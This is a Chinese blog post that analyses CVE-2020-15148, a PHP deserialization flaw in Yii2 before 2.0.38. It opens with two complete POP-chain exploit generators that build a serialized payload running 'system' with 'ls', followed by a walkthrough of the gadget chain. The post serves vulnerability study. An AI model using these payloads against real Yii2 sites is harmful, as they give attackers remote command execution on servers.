文章目录

写在前面

最近倒是不知道干些啥,有点迷茫的状态,不过每天都保持学习就好了,今天空下来了准备写一篇刚学的POP链分析

POP链1

<?php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new \Faker\Generator();
}
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{

public $checkAccess='system';
public $id='ls';
}
class IndexAction extends Action{
}
namespace Faker;
class Generator{
protected $formatters = array();
public function __construct()
{
$this->formatters['close']=[(new \yii\rest\IndexAction()),"run"];
}
}
use \yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));

POP链2

差不多的换了个地方罢了

<?php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new \Faker\Generator();
}
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{

public $checkAccess='system';
public $id='ls';
}
class CreateAction extends Action{
}
namespace Faker;
class Generator{
protected $formatters = array();
public function __construct()
{
$this->formatters['close']=[(new \yii\rest\CreateAction()),"run"];
}
}
use \yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));

分析

我们看提交记录里面有说道

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_f5


是这一条​​https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99?branch=9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99&diff=split​

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_f5_02


这也就是说最新版里已经通过​​__wakeup​​来禁用了​​BatchQueryResult​​类的反序列化

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_2d_03


这也就是我们的入口点,我们开始分析,调用了​​$this->reset();​

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_f5_04


通过赋值我们可以实现,调用​​__call​​方法

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_php_05


这里发现有很多

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_php_06


这里我们锁定​​src/Faker/Generator.php​

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_f5_07


我们得注意根据close方法调用,·​​$attributes​​值为空,跟踪

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_f5_08


看看​​getFormatter​​函数

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_php_09


个人认为构造也很容易,如下

$this->formatters['close']=["xxxxx"];

注意​​$arguments​​​为空,是从​​yii\db\BatchQueryResult::reset()​​​里传过来的,参数不可控,所以我们只能去寻找不带参数地去调用别的类中的方法。全局搜索​​call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)​

发现这里有两个符合条件的​​yii\rest\CreateAction::run()​​​和​​yii\rest\IndexAction::run()​​,其实这两个利用方法一模一样

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_2d_10


看了下其他类也没法利用,我们以​​CreateAction​​为例,能看到这里直接是无过滤的,接下来干嘛不解释了

[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行_2d_11


分析完毕